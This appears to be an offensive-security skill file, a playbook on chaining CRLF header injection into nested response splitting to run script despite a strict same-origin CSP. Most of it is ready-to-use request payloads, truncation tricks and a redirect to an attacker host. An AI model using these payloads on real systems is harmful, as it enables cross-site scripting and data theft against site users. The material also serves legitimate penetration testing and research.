crlf-response-splitting · git:20260504.2a64374 · 2026-05-04 · sha256 9f69e2d511f10494
crlf-response-splitting git:20260504.2a64374B
Immutable. This exact content is served forever at /api/v1/blob/9f69e2d511f10494.
--- name: crlf-response-splitting description: Nested response splitting to bypass strict CSP via CRLF injection. Turns header injection into XSS even when script-src is self only. Use when CRLF injection is confirmed in response headers and CSP blocks inline or external scripts. --- # CRLF Injection -> Nested Response Splitting CSP Bypass ## Pattern - CRLF injection exists in a response header such as `Content-Type` or `Location` - CSP is strict enough to block inline script execution - You can inject `\r\n\r\n` and split the response body - Inline payloads are blocked by CSP, so you need a same-origin script gadget ## Core Technique Use one CRLF-injectable endpoint to return HTML and load a second same-origin CRLF-injectable endpoint as JavaScript. ``` Outer split: <script src="/vuln-endpoint?type=text/javascript%0d%0a%0d%0aalert(origin)//PADDING"> Inner split: response with Content-Type: text/javascript and body alert(origin) ``` The nested request is same-origin, so `script-src 'self'` permits execution. ## Truncation Methods ### Missing Content-Length Inject a shorter `Content-Length` in the nested response: ``` Content-Length: 13\r\n\r\nalert(origin) ``` ### Transfer-Encoding: chunked For HTTP/1.1 targets: ``` Transfer-Encoding: chunked\r\n\r\nd\r\nalert(origin)\r\n0\r\n\r\n ``` ### Fixed Content-Length padding Pad the payload with a JavaScript comment and filler bytes: ``` alert(origin)//AAAAAAAAAAAA ``` ## Payload Construction ### Outer request ``` /endpoint?param=text/html%0d%0a%0d%0a<script+src="/endpoint?param=text/javascript%250d%250a%250d%250aalert(origin)"></script> ``` Double-encode the nested CRLF bytes so they survive the first parse. ### Inner request Return JavaScript as `text/javascript` with a body containing the payload. ## Header-Only CRLF If you can inject only one CRLF and not split the body, useful follow-on headers include: - `Referrer-Policy: unsafe-url` - `Refresh: 0;url=https://attacker.example` - cache-control mutations for poisoning ## Indicators - Header reflection preserves CRLF characters - `%0d%0a` behaves differently from `%0a` - CSP blocks inline payloads but allows same-origin scripts ## Chain With - `web-cache-deception-path` - `nextjs-cache-poisoning` - `parser-differential-bypass` ## References - https://lab.ctbb.show/research/crlf-injection-nested-response-splitting-csp-gadget